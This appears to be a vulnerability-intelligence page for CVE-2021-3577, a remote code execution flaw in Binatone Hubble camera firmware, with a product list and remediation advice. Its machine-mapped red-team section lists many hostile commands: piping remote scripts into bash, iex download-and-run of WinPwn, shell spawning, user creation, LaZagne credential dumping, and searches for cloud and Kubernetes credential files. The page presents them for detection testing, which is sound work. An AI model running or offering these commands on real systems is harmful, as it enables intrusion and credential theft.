CVE-2021-3577
Overview
This vulnerability is a remote code execution flaw resulting from improper input validation in the firmware of Motorola-branded Binatone Hubble Cameras. The root cause lies in the device's failure to authenticate and sanitize commands received over the local network, specifically affecting the command execution handling components within the camera firmware. This allows unauthorized users on the same network to inject and execute arbitrary system commands.
Vulnerability Description
An unauthenticated remote code execution vulnerability was reported in some Motorola-branded Binatone Hubble Cameras that could allow an attacker on the same network unauthorized access to the device.
Impact
An attacker positioned on the same network can execute arbitrary code on the affected devices without any authentication, leading to full compromise of the camera system. This includes the ability to manipulate device settings, intercept or disrupt video streams, or pivot to other networked assets. The attack requires no user interaction and leverages low-complexity network access (CVSS vector AV:A/AC:L/PR:N/UI:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H). This can lead to unauthorized surveillance, data exfiltration, and denial of service within the local network environment.
Solution
Motorola and Binatone have released firmware updates addressing this vulnerability for affected Hubble Camera models. Users should apply the latest firmware versions as detailed in the vendor's security advisory at https://binatoneglobal.com/security-advisory/. The advisory provides specific firmware version numbers and installation instructions. No alternative mitigations or workarounds are documented; therefore, timely firmware upgrade is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (23)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Binatoneglobal | Halo\+ Camera Firmware | All |
cpe:2.3:o:binatoneglobal:halo\+_camera_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Comfort 85 Connect Firmware | All |
cpe:2.3:o:binatoneglobal:comfort_85_connect_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp3855 Firmware | All |
cpe:2.3:o:binatoneglobal:mbp3855_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 68 Firmware | N/A |
cpe:2.3:o:binatoneglobal:focus_68_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 68 Firmware | N/A |
cpe:2.3:o:binatoneglobal:focus_68_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 72r Firmware | All |
cpe:2.3:o:binatoneglobal:focus_72r_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Focus 72r Firmware | All |
cpe:2.3:o:binatoneglobal:focus_72r_firmware:*:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Cn28 Firmware | N/A |
cpe:2.3:o:binatoneglobal:cn28_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Cn50 Firmware | N/A |
cpe:2.3:o:binatoneglobal:cn50_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Comfort 40 Firmware | N/A |
cpe:2.3:o:binatoneglobal:comfort_40_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Comfort 50 Connect Firmware | N/A |
cpe:2.3:o:binatoneglobal:comfort_50_connect_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp4855 Firmware | N/A |
cpe:2.3:o:binatoneglobal:mbp4855_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Mbp3667 Firmware | N/A |
cpe:2.3:o:binatoneglobal:mbp3667_firmware:-:*:*:*:*:*:*:*
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|
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Binatoneglobal | Mbp669 Connect Firmware | N/A |
cpe:2.3:o:binatoneglobal:mbp669_connect_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Lux 64 Firmware | N/A |
cpe:2.3:o:binatoneglobal:lux_64_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Lux 65 Firmware | N/A |
cpe:2.3:o:binatoneglobal:lux_65_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Connect View 65 Firmware | N/A |
cpe:2.3:o:binatoneglobal:connect_view_65_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Lux 85 Connect Firmware | N/A |
cpe:2.3:o:binatoneglobal:lux_85_connect_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Ease44 Firmware | N/A |
cpe:2.3:o:binatoneglobal:ease44_firmware:-:*:*:*:*:*:*:*
|
|
|
Binatoneglobal | Connect 20 Firmware | N/A |
cpe:2.3:o:binatoneglobal:connect_20_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
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Active exploitation confirmed with 42 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-6 | Argument Injection |
40%
|
High | High | |
| CAPEC-88 | OS Command Injection |
40%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-3577 |
| binatoneglobal.com |
GitHub CVE
x_refsource_MISC
|
https://binatoneglobal.com/security-advisory/ |